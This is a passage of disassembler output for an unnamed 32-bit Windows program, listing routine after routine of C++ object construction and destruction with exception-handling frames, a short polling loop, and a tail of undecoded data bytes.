mov byte ptr [esp+14h+var_4], 1Ch
lea ecx, [esi+84Eh]
call sub_401AD2
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_401AD2
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_401AD2
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_401AD2
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_401AD2
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_401AD2
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_401AD2
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_401AD2
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_401AD2
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_401AD2
lea ecx, [esi+574h]
mov byte ptr [esp+14h+var_4], 12h
call sub_401AD2
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_401AD2
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_401AD2
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_401AD2
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_401AD2
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_401AD2
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_401AD2
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_401AD2
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_401AD2
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_401AD2
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_401AD2
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_401AD2
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_401AD2
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_401AD2
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_401AD2
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_401AD2
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_401AD2
mov byte ptr [esp+14h+var_4], 1
lea ecx, [esi+9Bh]
call sub_401AD2
lea ecx, [esi+52h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AD2
lea ecx, [esi+9]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AD2
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417020 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417540 proc near ; CODE XREF: sub_4014F1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417540
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0A3h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417540 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4175E0 proc near ; CODE XREF: sub_401E83j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4175E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+118h]
mov [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4175E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176B0 proc near ; CODE XREF: sub_401235j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4176B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8D0C0h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+8D036h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+8D008h]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4176B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417770 proc near ; CODE XREF: sub_402216j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417770
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417770 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417830 proc near ; CODE XREF: sub_401EB0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417830
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417830 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4178F0 proc near ; CODE XREF: sub_4018CAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4178F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4178F0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417960 proc near ; CODE XREF: sub_4017D0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417960
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417960 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4179D0 proc near ; CODE XREF: sub_401B27j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4179D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4179D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A40 proc near ; CODE XREF: sub_401F28j
add ecx, 4
jmp sub_401023
sub_417A40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A60 proc near ; CODE XREF: sub_401113j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+60h]
mov [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417A60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AE0 proc near ; CODE XREF: sub_401DEDj
add ecx, 4
jmp sub_401023
sub_417AE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B00 proc near ; CODE XREF: sub_401FF5j
add ecx, 4
jmp sub_401023
sub_417B00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B20 proc near ; CODE XREF: sub_401EE2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417B20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0BCh]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417B20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417BC0 proc near ; CODE XREF: sub_40157Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417BC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401424
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0A3h]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E078
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417BC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C60 proc near ; CODE XREF: sub_401645j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417C60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
lea ecx, [esi+118h]
mov byte ptr [esp+14h+var_4], 5
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E07C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417C60 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417D30 proc near ; CODE XREF: sub_401776j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417D30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+8D008h]
call sub_401749
lea ecx, [esi+8D036h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+8D0C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E080
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417D30 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417DF0 proc near ; CODE XREF: sub_401820j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E050
mov eax, esi
pop esi
retn
sub_417DF0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E20 proc near ; CODE XREF: sub_4016B3j
push esi
mov esi, ecx
call sub_401E6A
mov dword ptr [esi], offset off_43E05C
mov eax, esi
pop esi
retn
sub_417E20 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E50 proc near ; CODE XREF: sub_401415j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417E50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E084
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417E50 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F10 proc near ; CODE XREF: sub_401302j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417F10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E088
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417F10 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417FD0 proc near ; CODE XREF: sub_401271j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417FD0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E08C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417FD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418050 proc near ; CODE XREF: sub_401D11j
push esi
mov esi, ecx
call sub_4011B3
mov dword ptr [esi], offset nullsub_10
mov eax, esi
pop esi
retn
sub_418050 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418080 proc near ; CODE XREF: sub_4012FDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418080
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E094
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418080 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418100 proc near ; CODE XREF: sub_401A7Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418100
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E098
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418100 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418180 proc near ; CODE XREF: sub_401285j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E09C
mov eax, esi
pop esi
retn
sub_418180 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4181B0 proc near ; CODE XREF: sub_401CA3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4181B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0A0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4181B0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418230 proc near ; CODE XREF: sub_401573j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E0A4
mov eax, esi
pop esi
retn
sub_418230 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418260 proc near ; CODE XREF: sub_40178Fj
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
mov dword ptr [esi], offset off_43E0A8
mov eax, esi
pop esi
retn
sub_418260 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418290 proc near ; CODE XREF: sub_401073j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418290
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401749
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401749
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401749
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401749
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0AC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418290 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418330 proc near ; CODE XREF: sub_401267j
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
push ebx
push ebp
mov ebp, dword_50F8D0
push esi
mov esi, ecx
push edi
xor bl, bl
mov byte ptr [esi+9FD2Ch], 1
loc_418348: ; CODE XREF: sub_418330+E4j
test bl, bl
jnz loc_41841E
mov al, [esi+8EF74h]
test al, al
jnz short loc_41835E
mov bl, 1
jmp short loc_418372
; ---------------------------------------------------------------------------
loc_41835E: ; CODE XREF: sub_418330+28j
lea ecx, [esi+15Fh]
call sub_40185C
test al, al
setz bl
test bl, bl
jz short loc_418379
loc_418372: ; CODE XREF: sub_418330+2Cj
mov byte ptr [esi+9FD2Ch], 0
loc_418379: ; CODE XREF: sub_418330+40j
lea ecx, [esp+1Ch+var_C]
call sub_402086
lea edi, [esi+9FD83h]
lea eax, [esp+1Ch+var_4]
push eax
mov ecx, edi
call sub_401F4B
mov ecx, [eax]
lea edx, [esp+1Ch+var_8]
mov [esp+1Ch+var_C], ecx
push edx
mov ecx, edi
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_4016F9
test al, al
jz short loc_4183FE
loc_4183B4: ; CODE XREF: sub_418330+CCj
lea ecx, [esp+1Ch+var_C]
call sub_402211
mov ecx, [eax]
call sub_401744
lea ecx, [esp+1Ch+var_C]
call sub_402211
mov eax, [eax]
test eax, eax
jz short loc_4183DB
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx]
loc_4183DB: ; CODE XREF: sub_418330+A1j
lea ecx, [esp+1Ch+var_C]
call sub_401361
lea eax, [esp+1Ch+var_8]
mov ecx, edi
push eax
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_4016F9
test al, al
jnz short loc_4183B4
loc_4183FE: ; CODE XREF: sub_418330+82j
mov ecx, edi
call sub_4010B9
push 0FAh
call ebp
mov al, [esi+9FD2Ch]
test al, al
jnz loc_418348
test bl, bl
jz short loc_41842B
loc_41841E: ; CODE XREF: sub_418330+1Aj
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_41842B: ; CODE XREF: sub_418330+ECj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0Ch
retn
sub_418330 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418490 proc near ; CODE XREF: sub_401767j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_418490
push eax
mov large fs:0, esp
sub esp, 1A8h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, offset byte_4E6ECB
mov byte ptr [esi+9FD2Ch], 1
call sub_4010B9
mov eax, [esp+1C4h+arg_4]
test eax, eax
jz short loc_4184D0
push eax
jmp short loc_4184D5
; ---------------------------------------------------------------------------
loc_4184D0: ; CODE XREF: sub_418490+3Bj
push offset byte_446F60
loc_4184D5: ; CODE XREF: sub_418490+3Ej
lea ecx, [esi+9FD57h]
call sub_4015D7
mov edi, [esp+1C4h+arg_0]
test edi, edi
jz short loc_4184EE
push edi
jmp short loc_4184F3
; ---------------------------------------------------------------------------
loc_4184EE: ; CODE XREF: sub_418490+59j
push offset byte_446F60
loc_4184F3: ; CODE XREF: sub_418490+5Cj
lea ecx, [esi+9FD6Ch]
call sub_4015D7
push edi
lea ecx, [esi+3Eh]
call sub_401384
sub_418490 endp
; ---------------------------------------------------------------------------
db 8Ah
dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h
dd 244C8DFFh, 2685128h, 0E8000002h, 7169E121h, 8F88E890h
dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh
dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh
dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h
dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh
dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h
dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh
dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh
dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h
dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh
dd 90006A08h, 82185DE8h, 98C6E877h, 8E8DFFFEh, 168h, 0FE91B3E8h
dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh
dd 84C70009h, 1C424h, 0
dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh
dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh
dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh
dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h
dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h
dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh
dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h
dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h
